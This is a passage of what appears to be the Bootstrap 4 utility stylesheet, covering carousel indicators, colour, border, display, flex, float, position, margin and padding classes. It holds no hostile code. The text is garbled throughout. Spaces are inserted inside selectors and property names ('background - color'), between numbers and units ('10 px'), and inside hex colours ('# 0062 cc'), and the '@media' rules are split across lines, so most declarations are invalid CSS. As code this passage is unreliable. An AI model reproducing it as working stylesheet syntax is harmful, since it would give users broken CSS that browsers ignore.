margin - left: 3 px;
text - indent: -999 px;
background - color: rgba(255, 255, 255, .5)
}
.carousel - indicators li::before {
position: absolute;
top: -10 px;
left: 0;
display: inline - block;
width: 100 % ;
height: 10 px;
content: ""
}
.carousel - indicators li::after {
position: absolute;
bottom: -10 px;
left: 0;
display: inline - block;
width: 100 % ;
height: 10 px;
content: ""
}
.carousel - indicators.active {
background - color: # fff
}
.carousel - caption {
position: absolute;
right: 15 % ;
bottom: 20 px;
left: 15 % ;
z - index: 10;
padding - top: 20 px;
padding - bottom: 20 px;
color: # fff;
text - align: center
}
.align - baseline {
vertical - align: baseline!important
}
.align - top {
vertical - align: top!important
}
.align - middle {
vertical - align: middle!important
}
.align - bottom {
vertical - align: bottom!important
}
.align - text - bottom {
vertical - align: text - bottom!important
}
.align - text - top {
vertical - align: text - top!important
}
.bg - primary {
background - color: #007bff !important
}
a.bg-primary:focus,
a.bg-primary:hover,
button.bg-primary:focus,
button.bg-primary:hover {
background-color: # 0062 cc!important
}
.bg - secondary {
background - color: #6c757d !important
}
a.bg-secondary:focus,
a.bg-secondary:hover,
button.bg-secondary:focus,
button.bg-secondary:hover {
background-color: # 545 b62!important
}
.bg - success {
background - color: #28a745 !important
}
a.bg-success:focus,
a.bg-success:hover,
button.bg-success:focus,
button.bg-success:hover {
background-color: # 1e7 e34!important
}
.bg - info {
background - color: #17a2b8 !important
}
a.bg-info:focus,
a.bg-info:hover,
button.bg-info:focus,
button.bg-info:hover {
background-color: # 117 a8b!important
}
.bg - warning {
background - color: # ffc107!important
}
a.bg - warning: focus,
a.bg - warning: hover,
button.bg - warning: focus,
button.bg - warning: hover {
background - color: # d39e00!important
}
.bg - danger {
background - color: # dc3545!important
}
a.bg - danger: focus,
a.bg - danger: hover,
button.bg - danger: focus,
button.bg - danger: hover {
background - color: # bd2130!important
}
.bg - light {
background - color: # f8f9fa!important
}
a.bg - light: focus,
a.bg - light: hover,
button.bg - light: focus,
button.bg - light: hover {
background - color: # dae0e5!important
}
.bg - dark {
background - color: #343a40 !important
}
a.bg-dark:focus,
a.bg-dark:hover,
button.bg-dark:focus,
button.bg-dark:hover {
background-color: # 1 d2124!important
}
.bg - white {
background - color: # fff!important
}
.bg - transparent {
background - color: transparent!important
}
.border {
border: 1 px solid # dee2e6!important
}
.border - top {
border - top: 1 px solid # dee2e6!important
}
.border - right {
border - right: 1 px solid # dee2e6!important
}
.border - bottom {
border - bottom: 1 px solid # dee2e6!important
}
.border - left {
border - left: 1 px solid # dee2e6!important
}
.border - 0 {
border: 0!important
}
.border - top - 0 {
border - top: 0!important
}
.border - right - 0 {
border - right: 0!important
}
.border - bottom - 0 {
border - bottom: 0!important
}
.border - left - 0 {
border - left: 0!important
}
.border - primary {
border - color: #007bff !important
}
.border-secondary {
border-color: # 6 c757d!important
}
.border - success {
border - color: #28a745 !important
}
.border-info {
border-color: # 17 a2b8!important
}
.border - warning {
border - color: # ffc107!important
}
.border - danger {
border - color: # dc3545!important
}
.border - light {
border - color: # f8f9fa!important
}
.border - dark {
border - color: #343a40 !important
}
.border-white {
border-color: # fff!important
}
.rounded {
border - radius: .25 rem!important
}
.rounded - top {
border - top - left - radius: .25 rem!important;
border - top - right - radius: .25 rem!important
}
.rounded - right {
border - top - right - radius: .25 rem!important;
border - bottom - right - radius: .25 rem!important
}
.rounded - bottom {
border - bottom - right - radius: .25 rem!important;
border - bottom - left - radius: .25 rem!important
}
.rounded - left {
border - top - left - radius: .25 rem!important;
border - bottom - left - radius: .25 rem!important
}
.rounded - circle {
border - radius: 50 % !important
}
.rounded - 0 {
border - radius: 0!important
}
.clearfix::after {
display: block;
clear: both;
content: ""
}
.d - none {
display: none!important
}
.d - inline {
display: inline!important
}
.d - inline - block {
display: inline - block!important
}
.d - block {
display: block!important
}
.d - table {
display: table!important
}
.d - table - row {
display: table - row!important
}
.d - table - cell {
display: table - cell!important
}
.d - flex {
display: -webkit - box!important;
display: -ms - flexbox!important;
display: flex!important
}
.d - inline - flex {
display: -webkit - inline - box!important;
display: -ms - inline - flexbox!important;
display: inline - flex!important
}
@
media(min - width: 576 px) {
.d - sm - none {
display: none!important
}
.d - sm - inline {
display: inline!important
}
.d - sm - inline - block {
display: inline - block!important
}
.d - sm - block {
display: block!important
}
.d - sm - table {
display: table!important
}
.d - sm - table - row {
display: table - row!important
}
.d - sm - table - cell {
display: table - cell!important
}
.d - sm - flex {
display: -webkit - box!important;
display: -ms - flexbox!important;
display: flex!important
}
.d - sm - inline - flex {
display: -webkit - inline - box!important;
display: -ms - inline - flexbox!important;
display: inline - flex!important
}
}
@
media(min - width: 768 px) {
.d - md - none {
display: none!important
}
.d - md - inline {
display: inline!important
}
.d - md - inline - block {
display: inline - block!important
}
.d - md - block {
display: block!important
}
.d - md - table {
display: table!important
}
.d - md - table - row {
display: table - row!important
}
.d - md - table - cell {
display: table - cell!important
}
.d - md - flex {
display: -webkit - box!important;
display: -ms - flexbox!important;
display: flex!important
}
.d - md - inline - flex {
display: -webkit - inline - box!important;
display: -ms - inline - flexbox!important;
display: inline - flex!important
}
}
@
media(min - width: 992 px) {
.d - lg - none {
display: none!important
}
.d - lg - inline {
display: inline!important
}
.d - lg - inline - block {
display: inline - block!important
}
.d - lg - block {
display: block!important
}
.d - lg - table {
display: table!important
}
.d - lg - table - row {
display: table - row!important
}
.d - lg - table - cell {
display: table - cell!important
}
.d - lg - flex {
display: -webkit - box!important;
display: -ms - flexbox!important;
display: flex!important
}
.d - lg - inline - flex {
display: -webkit - inline - box!important;
display: -ms - inline - flexbox!important;
display: inline - flex!important
}
}
@
media(min - width: 1200 px) {
.d - xl - none {
display: none!important
}
.d - xl - inline {
display: inline!important
}
.d - xl - inline - block {
display: inline - block!important
}
.d - xl - block {
display: block!important
}
.d - xl - table {
display: table!important
}
.d - xl - table - row {
display: table - row!important
}
.d - xl - table - cell {
display: table - cell!important
}
.d - xl - flex {
display: -webkit - box!important;
display: -ms - flexbox!important;
display: flex!important
}
.d - xl - inline - flex {
display: -webkit - inline - box!important;
display: -ms - inline - flexbox!important;
display: inline - flex!important
}
}
@
media print {
.d - print - none {
display: none!important
}
.d - print - inline {
display: inline!important
}
.d - print - inline - block {
display: inline - block!important
}
.d - print - block {
display: block!important
}
.d - print - table {
display: table!important
}
.d - print - table - row {
display: table - row!important
}
.d - print - table - cell {
display: table - cell!important
}
.d - print - flex {
display: -webkit - box!important;
display: -ms - flexbox!important;
display: flex!important
}
.d - print - inline - flex {
display: -webkit - inline - box!important;
display: -ms - inline - flexbox!important;
display: inline - flex!important
}
}
.embed - responsive {
position: relative;
display: block;
width: 100 % ;
padding: 0;
overflow: hidden
}
.embed - responsive::before {
display: block;
content: ""
}
.embed - responsive.embed - responsive - item,
.embed - responsive embed,
.embed - responsive iframe,
.embed - responsive object,
.embed - responsive video {
position: absolute;
top: 0;
bottom: 0;
left: 0;
width: 100 % ;
height: 100 % ;
border: 0
}
.embed - responsive - 21 by9::before {
padding - top: 42.857143 %
}
.embed - responsive - 16 by9::before {
padding - top: 56.25 %
}
.embed - responsive - 4 by3::before {
padding - top: 75 %
}
.embed - responsive - 1 by1::before {
padding - top: 100 %
}
.flex - row {
-webkit - box - orient: horizontal!important; - webkit - box - direction: normal!important; - ms - flex - direction: row!important;
flex - direction: row!important
}
.flex - column {
-webkit - box - orient: vertical!important; - webkit - box - direction: normal!important; - ms - flex - direction: column!important;
flex - direction: column!important
}
.flex - row - reverse {
-webkit - box - orient: horizontal!important; - webkit - box - direction: reverse!important; - ms - flex - direction: row - reverse!important;
flex - direction: row - reverse!important
}
.flex - column - reverse {
-webkit - box - orient: vertical!important; - webkit - box - direction: reverse!important; - ms - flex - direction: column - reverse!important;
flex - direction: column - reverse!important
}
.flex - wrap {
-ms - flex - wrap: wrap!important;
flex - wrap: wrap!important
}
.flex - nowrap {
-ms - flex - wrap: nowrap!important;
flex - wrap: nowrap!important
}
.flex - wrap - reverse {
-ms - flex - wrap: wrap - reverse!important;
flex - wrap: wrap - reverse!important
}
.justify - content - start {
-webkit - box - pack: start!important; - ms - flex - pack: start!important;
justify - content: flex - start!important
}
.justify - content - end {
-webkit - box - pack: end!important; - ms - flex - pack: end!important;
justify - content: flex - end!important
}
.justify - content - center {
-webkit - box - pack: center!important; - ms - flex - pack: center!important;
justify - content: center!important
}
.justify - content - between {
-webkit - box - pack: justify!important; - ms - flex - pack: justify!important;
justify - content: space - between!important
}
.justify - content - around {
-ms - flex - pack: distribute!important;
justify - content: space - around!important
}
.align - items - start {
-webkit - box - align: start!important; - ms - flex - align: start!important;
align - items: flex - start!important
}
.align - items - end {
-webkit - box - align: end!important; - ms - flex - align: end!important;
align - items: flex - end!important
}
.align - items - center {
-webkit - box - align: center!important; - ms - flex - align: center!important;
align - items: center!important
}
.align - items - baseline {
-webkit - box - align: baseline!important; - ms - flex - align: baseline!important;
align - items: baseline!important
}
.align - items - stretch {
-webkit - box - align: stretch!important; - ms - flex - align: stretch!important;
align - items: stretch!important
}
.align - content - start {
-ms - flex - line - pack: start!important;
align - content: flex - start!important
}
.align - content - end {
-ms - flex - line - pack: end!important;
align - content: flex - end!important
}
.align - content - center {
-ms - flex - line - pack: center!important;
align - content: center!important
}
.align - content - between {
-ms - flex - line - pack: justify!important;
align - content: space - between!important
}
.align - content - around {
-ms - flex - line - pack: distribute!important;
align - content: space - around!important
}
.align - content - stretch {
-ms - flex - line - pack: stretch!important;
align - content: stretch!important
}
.align - self - auto {
-ms - flex - item - align: auto!important;
align - self: auto!important
}
.align - self - start {
-ms - flex - item - align: start!important;
align - self: flex - start!important
}
.align - self - end {
-ms - flex - item - align: end!important;
align - self: flex - end!important
}
.align - self - center {
-ms - flex - item - align: center!important;
align - self: center!important
}
.align - self - baseline {
-ms - flex - item - align: baseline!important;
align - self: baseline!important
}
.align - self - stretch {
-ms - flex - item - align: stretch!important;
align - self: stretch!important
}
@
media(min - width: 576 px) {
.flex - sm - row {
-webkit - box - orient: horizontal!important; - webkit - box - direction: normal!important; - ms - flex - direction: row!important;
flex - direction: row!important
}
.flex - sm - column {
-webkit - box - orient: vertical!important; - webkit - box - direction: normal!important; - ms - flex - direction: column!important;
flex - direction: column!important
}
.flex - sm - row - reverse {
-webkit - box - orient: horizontal!important; - webkit - box - direction: reverse!important; - ms - flex - direction: row - reverse!important;
flex - direction: row - reverse!important
}
.flex - sm - column - reverse {
-webkit - box - orient: vertical!important; - webkit - box - direction: reverse!important; - ms - flex - direction: column - reverse!important;
flex - direction: column - reverse!important
}
.flex - sm - wrap {
-ms - flex - wrap: wrap!important;
flex - wrap: wrap!important
}
.flex - sm - nowrap {
-ms - flex - wrap: nowrap!important;
flex - wrap: nowrap!important
}
.flex - sm - wrap - reverse {
-ms - flex - wrap: wrap - reverse!important;
flex - wrap: wrap - reverse!important
}
.justify - content - sm - start {
-webkit - box - pack: start!important; - ms - flex - pack: start!important;
justify - content: flex - start!important
}
.justify - content - sm - end {
-webkit - box - pack: end!important; - ms - flex - pack: end!important;
justify - content: flex - end!important
}
.justify - content - sm - center {
-webkit - box - pack: center!important; - ms - flex - pack: center!important;
justify - content: center!important
}
.justify - content - sm - between {
-webkit - box - pack: justify!important; - ms - flex - pack: justify!important;
justify - content: space - between!important
}
.justify - content - sm - around {
-ms - flex - pack: distribute!important;
justify - content: space - around!important
}
.align - items - sm - start {
-webkit - box - align: start!important; - ms - flex - align: start!important;
align - items: flex - start!important
}
.align - items - sm - end {
-webkit - box - align: end!important; - ms - flex - align: end!important;
align - items: flex - end!important
}
.align - items - sm - center {
-webkit - box - align: center!important; - ms - flex - align: center!important;
align - items: center!important
}
.align - items - sm - baseline {
-webkit - box - align: baseline!important; - ms - flex - align: baseline!important;
align - items: baseline!important
}
.align - items - sm - stretch {
-webkit - box - align: stretch!important; - ms - flex - align: stretch!important;
align - items: stretch!important
}
.align - content - sm - start {
-ms - flex - line - pack: start!important;
align - content: flex - start!important
}
.align - content - sm - end {
-ms - flex - line - pack: end!important;
align - content: flex - end!important
}
.align - content - sm - center {
-ms - flex - line - pack: center!important;
align - content: center!important
}
.align - content - sm - between {
-ms - flex - line - pack: justify!important;
align - content: space - between!important
}
.align - content - sm - around {
-ms - flex - line - pack: distribute!important;
align - content: space - around!important
}
.align - content - sm - stretch {
-ms - flex - line - pack: stretch!important;
align - content: stretch!important
}
.align - self - sm - auto {
-ms - flex - item - align: auto!important;
align - self: auto!important
}
.align - self - sm - start {
-ms - flex - item - align: start!important;
align - self: flex - start!important
}
.align - self - sm - end {
-ms - flex - item - align: end!important;
align - self: flex - end!important
}
.align - self - sm - center {
-ms - flex - item - align: center!important;
align - self: center!important
}
.align - self - sm - baseline {
-ms - flex - item - align: baseline!important;
align - self: baseline!important
}
.align - self - sm - stretch {
-ms - flex - item - align: stretch!important;
align - self: stretch!important
}
}
@
media(min - width: 768 px) {
.flex - md - row {
-webkit - box - orient: horizontal!important; - webkit - box - direction: normal!important; - ms - flex - direction: row!important;
flex - direction: row!important
}
.flex - md - column {
-webkit - box - orient: vertical!important; - webkit - box - direction: normal!important; - ms - flex - direction: column!important;
flex - direction: column!important
}
.flex - md - row - reverse {
-webkit - box - orient: horizontal!important; - webkit - box - direction: reverse!important; - ms - flex - direction: row - reverse!important;
flex - direction: row - reverse!important
}
.flex - md - column - reverse {
-webkit - box - orient: vertical!important; - webkit - box - direction: reverse!important; - ms - flex - direction: column - reverse!important;
flex - direction: column - reverse!important
}
.flex - md - wrap {
-ms - flex - wrap: wrap!important;
flex - wrap: wrap!important
}
.flex - md - nowrap {
-ms - flex - wrap: nowrap!important;
flex - wrap: nowrap!important
}
.flex - md - wrap - reverse {
-ms - flex - wrap: wrap - reverse!important;
flex - wrap: wrap - reverse!important
}
.justify - content - md - start {
-webkit - box - pack: start!important; - ms - flex - pack: start!important;
justify - content: flex - start!important
}
.justify - content - md - end {
-webkit - box - pack: end!important; - ms - flex - pack: end!important;
justify - content: flex - end!important
}
.justify - content - md - center {
-webkit - box - pack: center!important; - ms - flex - pack: center!important;
justify - content: center!important
}
.justify - content - md - between {
-webkit - box - pack: justify!important; - ms - flex - pack: justify!important;
justify - content: space - between!important
}
.justify - content - md - around {
-ms - flex - pack: distribute!important;
justify - content: space - around!important
}
.align - items - md - start {
-webkit - box - align: start!important; - ms - flex - align: start!important;
align - items: flex - start!important
}
.align - items - md - end {
-webkit - box - align: end!important; - ms - flex - align: end!important;
align - items: flex - end!important
}
.align - items - md - center {
-webkit - box - align: center!important; - ms - flex - align: center!important;
align - items: center!important
}
.align - items - md - baseline {
-webkit - box - align: baseline!important; - ms - flex - align: baseline!important;
align - items: baseline!important
}
.align - items - md - stretch {
-webkit - box - align: stretch!important; - ms - flex - align: stretch!important;
align - items: stretch!important
}
.align - content - md - start {
-ms - flex - line - pack: start!important;
align - content: flex - start!important
}
.align - content - md - end {
-ms - flex - line - pack: end!important;
align - content: flex - end!important
}
.align - content - md - center {
-ms - flex - line - pack: center!important;
align - content: center!important
}
.align - content - md - between {
-ms - flex - line - pack: justify!important;
align - content: space - between!important
}
.align - content - md - around {
-ms - flex - line - pack: distribute!important;
align - content: space - around!important
}
.align - content - md - stretch {
-ms - flex - line - pack: stretch!important;
align - content: stretch!important
}
.align - self - md - auto {
-ms - flex - item - align: auto!important;
align - self: auto!important
}
.align - self - md - start {
-ms - flex - item - align: start!important;
align - self: flex - start!important
}
.align - self - md - end {
-ms - flex - item - align: end!important;
align - self: flex - end!important
}
.align - self - md - center {
-ms - flex - item - align: center!important;
align - self: center!important
}
.align - self - md - baseline {
-ms - flex - item - align: baseline!important;
align - self: baseline!important
}
.align - self - md - stretch {
-ms - flex - item - align: stretch!important;
align - self: stretch!important
}
}
@
media(min - width: 992 px) {
.flex - lg - row {
-webkit - box - orient: horizontal!important; - webkit - box - direction: normal!important; - ms - flex - direction: row!important;
flex - direction: row!important
}
.flex - lg - column {
-webkit - box - orient: vertical!important; - webkit - box - direction: normal!important; - ms - flex - direction: column!important;
flex - direction: column!important
}
.flex - lg - row - reverse {
-webkit - box - orient: horizontal!important; - webkit - box - direction: reverse!important; - ms - flex - direction: row - reverse!important;
flex - direction: row - reverse!important
}
.flex - lg - column - reverse {
-webkit - box - orient: vertical!important; - webkit - box - direction: reverse!important; - ms - flex - direction: column - reverse!important;
flex - direction: column - reverse!important
}
.flex - lg - wrap {
-ms - flex - wrap: wrap!important;
flex - wrap: wrap!important
}
.flex - lg - nowrap {
-ms - flex - wrap: nowrap!important;
flex - wrap: nowrap!important
}
.flex - lg - wrap - reverse {
-ms - flex - wrap: wrap - reverse!important;
flex - wrap: wrap - reverse!important
}
.justify - content - lg - start {
-webkit - box - pack: start!important; - ms - flex - pack: start!important;
justify - content: flex - start!important
}
.justify - content - lg - end {
-webkit - box - pack: end!important; - ms - flex - pack: end!important;
justify - content: flex - end!important
}
.justify - content - lg - center {
-webkit - box - pack: center!important; - ms - flex - pack: center!important;
justify - content: center!important
}
.justify - content - lg - between {
-webkit - box - pack: justify!important; - ms - flex - pack: justify!important;
justify - content: space - between!important
}
.justify - content - lg - around {
-ms - flex - pack: distribute!important;
justify - content: space - around!important
}
.align - items - lg - start {
-webkit - box - align: start!important; - ms - flex - align: start!important;
align - items: flex - start!important
}
.align - items - lg - end {
-webkit - box - align: end!important; - ms - flex - align: end!important;
align - items: flex - end!important
}
.align - items - lg - center {
-webkit - box - align: center!important; - ms - flex - align: center!important;
align - items: center!important
}
.align - items - lg - baseline {
-webkit - box - align: baseline!important; - ms - flex - align: baseline!important;
align - items: baseline!important
}
.align - items - lg - stretch {
-webkit - box - align: stretch!important; - ms - flex - align: stretch!important;
align - items: stretch!important
}
.align - content - lg - start {
-ms - flex - line - pack: start!important;
align - content: flex - start!important
}
.align - content - lg - end {
-ms - flex - line - pack: end!important;
align - content: flex - end!important
}
.align - content - lg - center {
-ms - flex - line - pack: center!important;
align - content: center!important
}
.align - content - lg - between {
-ms - flex - line - pack: justify!important;
align - content: space - between!important
}
.align - content - lg - around {
-ms - flex - line - pack: distribute!important;
align - content: space - around!important
}
.align - content - lg - stretch {
-ms - flex - line - pack: stretch!important;
align - content: stretch!important
}
.align - self - lg - auto {
-ms - flex - item - align: auto!important;
align - self: auto!important
}
.align - self - lg - start {
-ms - flex - item - align: start!important;
align - self: flex - start!important
}
.align - self - lg - end {
-ms - flex - item - align: end!important;
align - self: flex - end!important
}
.align - self - lg - center {
-ms - flex - item - align: center!important;
align - self: center!important
}
.align - self - lg - baseline {
-ms - flex - item - align: baseline!important;
align - self: baseline!important
}
.align - self - lg - stretch {
-ms - flex - item - align: stretch!important;
align - self: stretch!important
}
}
@
media(min - width: 1200 px) {
.flex - xl - row {
-webkit - box - orient: horizontal!important; - webkit - box - direction: normal!important; - ms - flex - direction: row!important;
flex - direction: row!important
}
.flex - xl - column {
-webkit - box - orient: vertical!important; - webkit - box - direction: normal!important; - ms - flex - direction: column!important;
flex - direction: column!important
}
.flex - xl - row - reverse {
-webkit - box - orient: horizontal!important; - webkit - box - direction: reverse!important; - ms - flex - direction: row - reverse!important;
flex - direction: row - reverse!important
}
.flex - xl - column - reverse {
-webkit - box - orient: vertical!important; - webkit - box - direction: reverse!important; - ms - flex - direction: column - reverse!important;
flex - direction: column - reverse!important
}
.flex - xl - wrap {
-ms - flex - wrap: wrap!important;
flex - wrap: wrap!important
}
.flex - xl - nowrap {
-ms - flex - wrap: nowrap!important;
flex - wrap: nowrap!important
}
.flex - xl - wrap - reverse {
-ms - flex - wrap: wrap - reverse!important;
flex - wrap: wrap - reverse!important
}
.justify - content - xl - start {
-webkit - box - pack: start!important; - ms - flex - pack: start!important;
justify - content: flex - start!important
}
.justify - content - xl - end {
-webkit - box - pack: end!important; - ms - flex - pack: end!important;
justify - content: flex - end!important
}
.justify - content - xl - center {
-webkit - box - pack: center!important; - ms - flex - pack: center!important;
justify - content: center!important
}
.justify - content - xl - between {
-webkit - box - pack: justify!important; - ms - flex - pack: justify!important;
justify - content: space - between!important
}
.justify - content - xl - around {
-ms - flex - pack: distribute!important;
justify - content: space - around!important
}
.align - items - xl - start {
-webkit - box - align: start!important; - ms - flex - align: start!important;
align - items: flex - start!important
}
.align - items - xl - end {
-webkit - box - align: end!important; - ms - flex - align: end!important;
align - items: flex - end!important
}
.align - items - xl - center {
-webkit - box - align: center!important; - ms - flex - align: center!important;
align - items: center!important
}
.align - items - xl - baseline {
-webkit - box - align: baseline!important; - ms - flex - align: baseline!important;
align - items: baseline!important
}
.align - items - xl - stretch {
-webkit - box - align: stretch!important; - ms - flex - align: stretch!important;
align - items: stretch!important
}
.align - content - xl - start {
-ms - flex - line - pack: start!important;
align - content: flex - start!important
}
.align - content - xl - end {
-ms - flex - line - pack: end!important;
align - content: flex - end!important
}
.align - content - xl - center {
-ms - flex - line - pack: center!important;
align - content: center!important
}
.align - content - xl - between {
-ms - flex - line - pack: justify!important;
align - content: space - between!important
}
.align - content - xl - around {
-ms - flex - line - pack: distribute!important;
align - content: space - around!important
}
.align - content - xl - stretch {
-ms - flex - line - pack: stretch!important;
align - content: stretch!important
}
.align - self - xl - auto {
-ms - flex - item - align: auto!important;
align - self: auto!important
}
.align - self - xl - start {
-ms - flex - item - align: start!important;
align - self: flex - start!important
}
.align - self - xl - end {
-ms - flex - item - align: end!important;
align - self: flex - end!important
}
.align - self - xl - center {
-ms - flex - item - align: center!important;
align - self: center!important
}
.align - self - xl - baseline {
-ms - flex - item - align: baseline!important;
align - self: baseline!important
}
.align - self - xl - stretch {
-ms - flex - item - align: stretch!important;
align - self: stretch!important
}
}
.float - left {
float: left!important
}
.float - right {
float: right!important
}
.float - none {
float: none!important
}
@
media(min - width: 576 px) {
.float - sm - left {
float: left!important
}
.float - sm - right {
float: right!important
}
.float - sm - none {
float: none!important
}
}
@
media(min - width: 768 px) {
.float - md - left {
float: left!important
}
.float - md - right {
float: right!important
}
.float - md - none {
float: none!important
}
}
@
media(min - width: 992 px) {
.float - lg - left {
float: left!important
}
.float - lg - right {
float: right!important
}
.float - lg - none {
float: none!important
}
}
@
media(min - width: 1200 px) {
.float - xl - left {
float: left!important
}
.float - xl - right {
float: right!important
}
.float - xl - none {
float: none!important
}
}
.position - static {
position: static!important
}
.position - relative {
position: relative!important
}
.position - absolute {
position: absolute!important
}
.position - fixed {
position: fixed!important
}
.position - sticky {
position: -webkit - sticky!important;
position: sticky!important
}
.fixed - top {
position: fixed;
top: 0;
right: 0;
left: 0;
z - index: 1030
}
.fixed - bottom {
position: fixed;
right: 0;
bottom: 0;
left: 0;
z - index: 1030
}
@
supports((position: -webkit - sticky) or(position: sticky)) {
.sticky - top {
position: -webkit - sticky;
position: sticky;
top: 0;
z - index: 1020
}
}
.sr - only {
position: absolute;
width: 1 px;
height: 1 px;
padding: 0;
overflow: hidden;
clip: rect(0, 0, 0, 0);
white - space: nowrap; - webkit - clip - path: inset(50 % );
clip - path: inset(50 % );
border: 0
}
.sr - only - focusable: active,
.sr - only - focusable: focus {
position: static;
width: auto;
height: auto;
overflow: visible;
clip: auto;
white - space: normal; - webkit - clip - path: none;
clip - path: none
}
.w - 25 {
width: 25 % !important
}
.w - 50 {
width: 50 % !important
}
.w - 75 {
width: 75 % !important
}
.w - 100 {
width: 100 % !important
}
.h - 25 {
height: 25 % !important
}
.h - 50 {
height: 50 % !important
}
.h - 75 {
height: 75 % !important
}
.h - 100 {
height: 100 % !important
}
.mw - 100 {
max - width: 100 % !important
}
.mh - 100 {
max - height: 100 % !important
}
.m - 0 {
margin: 0!important
}
.mt - 0,
.my - 0 {
margin - top: 0!important
}
.mr - 0,
.mx - 0 {
margin - right: 0!important
}
.mb - 0,
.my - 0 {
margin - bottom: 0!important
}
.ml - 0,
.mx - 0 {
margin - left: 0!important
}
.m - 1 {
margin: .25 rem!important
}
.mt - 1,
.my - 1 {
margin - top: .25 rem!important
}
.mr - 1,
.mx - 1 {
margin - right: .25 rem!important
}
.mb - 1,
.my - 1 {
margin - bottom: .25 rem!important
}
.ml - 1,
.mx - 1 {
margin - left: .25 rem!important
}
.m - 2 {
margin: .5 rem!important
}
.mt - 2,
.my - 2 {
margin - top: .5 rem!important
}
.mr - 2,
.mx - 2 {
margin - right: .5 rem!important
}
.mb - 2,
.my - 2 {
margin - bottom: .5 rem!important
}
.ml - 2,
.mx - 2 {
margin - left: .5 rem!important
}
.m - 3 {
margin: 1 rem!important
}
.mt - 3,
.my - 3 {
margin - top: 1 rem!important
}
.mr - 3,
.mx - 3 {
margin - right: 1 rem!important
}
.mb - 3,
.my - 3 {
margin - bottom: 1 rem!important
}
.ml - 3,
.mx - 3 {
margin - left: 1 rem!important
}
.m - 4 {
margin: 1.5 rem!important
}
.mt - 4,
.my - 4 {
margin - top: 1.5 rem!important
}
.mr - 4,
.mx - 4 {
margin - right: 1.5 rem!important
}
.mb - 4,
.my - 4 {
margin - bottom: 1.5 rem!important
}
.ml - 4,
.mx - 4 {
margin - left: 1.5 rem!important
}
.m - 5 {
margin: 3 rem!important
}
.mt - 5,
.my - 5 {
margin - top: 3 rem!important
}
.mr - 5,
.mx - 5 {
margin - right: 3 rem!important
}
.mb - 5,
.my - 5 {
margin - bottom: 3 rem!important
}
.ml - 5,
.mx - 5 {
margin - left: 3 rem!important
}
.p - 0 {
padding: 0!important
}
.pt - 0,
.py - 0 {
padding - top: 0!important
}
.pr - 0,
.px - 0 {
padding - right: 0!important
}
.pb - 0,
.py - 0 {
padding - bottom: 0!important
}
.pl - 0,
.px - 0 {
padding - left: 0!important
}
.p - 1 {
padding: .25 rem!important
}
.pt - 1,
.py - 1 {
padding - top: .25 rem!important
}
.pr - 1,
.px - 1 {
padding - right: .25 rem!important
}
.pb - 1,
.py - 1 {
padding - bottom: .25 rem!important
}
.pl - 1,
.px - 1 {
padding - left: .25 rem!important
}
.p - 2 {
padding: .5 rem!important
}
.pt - 2,
.py - 2 {
padding - top: .5 rem!important
}
.pr - 2,
.px - 2 {
padding - right: .5 rem!important
}
.pb - 2,
.py - 2 {
padding - bottom: .5 rem!important
}
.pl - 2,
.px - 2 {
padding - left: .5 rem!important
}
.p - 3 {
padding: 1 rem!important
}
.pt - 3,
.py - 3 {
padding - top: 1 rem!important
}
.pr - 3,
.px - 3 {
padding - right: 1 rem!important
}
.pb - 3,
.py - 3 {
padding - bottom: 1 rem!important
}
.pl - 3,
.px - 3 {
padding - left: 1 rem!important
}
.p - 4 {
padding: 1.5 rem!important
}
.pt - 4,
.py - 4 {
padding - top: 1.5 rem!important
}
.pr - 4,
.px - 4 {
padding - right: 1.5 rem!important
}
.pb - 4,
.py - 4 {
padding - bottom: 1.5 rem!important
}
.pl - 4,
.px - 4 {
padding - left: 1.5 rem!important
}
.p - 5 {
padding: 3 rem!important
}
.pt - 5,
.py - 5 {
padding - top: 3 rem!important
}
.pr - 5,
.px - 5 {
padding - right: 3 rem!important
}
.pb - 5,
.py - 5 {
padding - bottom: 3 rem!important
}
.pl - 5,
.px - 5 {
padding - left: 3 rem!important
}
.m - auto {
margin: auto!important
}
.mt - auto,
.my - auto {
margin - top: auto!important
}
.mr - auto,
.mx - auto {
margin - right: auto!important
}
.mb - auto,
.my - auto {
margin - bottom: auto!important
}
.ml - auto,
.mx - auto {
margin - left: auto!important
}
@
media(min - width: 576 px) {
.m - sm - 0 {
margin: 0!important
}
.mt - sm - 0,
.my - sm - 0 {
margin - top: 0!important
}
.mr - sm - 0,
.mx - sm - 0 {
margin - right: 0!important
}
.mb - sm - 0,
.my - sm - 0 {
margin - bottom: 0!important
}
.ml - sm - 0,
.mx - sm - 0 {
margin - left: 0!important
}
.m - sm - 1 {
margin: .25 rem!important
}
.mt - sm - 1,
.my - sm - 1 {
margin - top: .25 rem!important
}
.mr - sm - 1,
.mx - sm - 1 {
margin - right: .25 rem!important
}
.mb - sm - 1,
.my - sm - 1 {
margin - bottom: .25 rem!important
}
.ml - sm - 1,
.mx - sm - 1 {
margin - left: .25 rem!important
}
.m - sm - 2 {
margin: .5 rem!important
}
.mt - sm - 2,
.my - sm - 2 {
margin - top: .5 rem!important
}
.mr - sm - 2,
.mx - sm - 2 {
margin - right: .5 rem!important
}
.mb - sm - 2,
.my - sm - 2 {
margin - bottom: .5 rem!important
}
.ml - sm - 2,
.mx - sm - 2 {
margin - left: .5 rem!important
}
.m - sm - 3 {
margin: 1 rem!important
}
.mt - sm - 3,
.my - sm - 3 {
margin - top: 1 rem!important
}
.mr - sm - 3,
.mx - sm - 3 {
margin - right: 1 rem!important
}
.mb - sm - 3,
.my - sm - 3 {
margin - bottom: 1 rem!important
}
.ml - sm - 3,
.mx - sm - 3 {
margin - left: 1 rem!important
}
.m - sm - 4 {
margin: 1.5 rem!important
}
.mt - sm - 4,
.my - sm - 4 {
margin - top: 1.5 rem!important
}
.mr - sm - 4,
.mx - sm - 4 {
margin - right: 1.5 rem!important
}
.mb - sm - 4,
.my - sm - 4 {
margin - bottom: 1.5 rem!important
}
.ml - sm - 4,
.mx - sm - 4 {
margin - left: 1.5 rem!important
}
.m - sm - 5 {
margin: 3 rem!important
}
.mt - sm - 5,
.my - sm - 5 {
margin - top: 3 rem!important
}
.mr - sm - 5,
.mx - sm - 5 {
margin - right: 3 rem!important
}
.mb - sm - 5,
.my - sm - 5 {
margin - bottom: 3 rem!important
}
.ml - sm - 5,
.mx - sm - 5 {
margin - left: 3 rem!important
}
.p - sm - 0 {
padding: 0!important
}
.pt - sm - 0,
.py - sm - 0 {
padding - top: 0!important
}
.pr - sm - 0,
.px - sm - 0 {
padding - right: 0!important
}
.pb - sm - 0,
.py - sm - 0 {
padding - bottom: 0!important
}
.pl - sm - 0,
.px - sm - 0 {
padding - left: 0!important
}
.p - sm - 1 {
padding: .25 rem!important
}
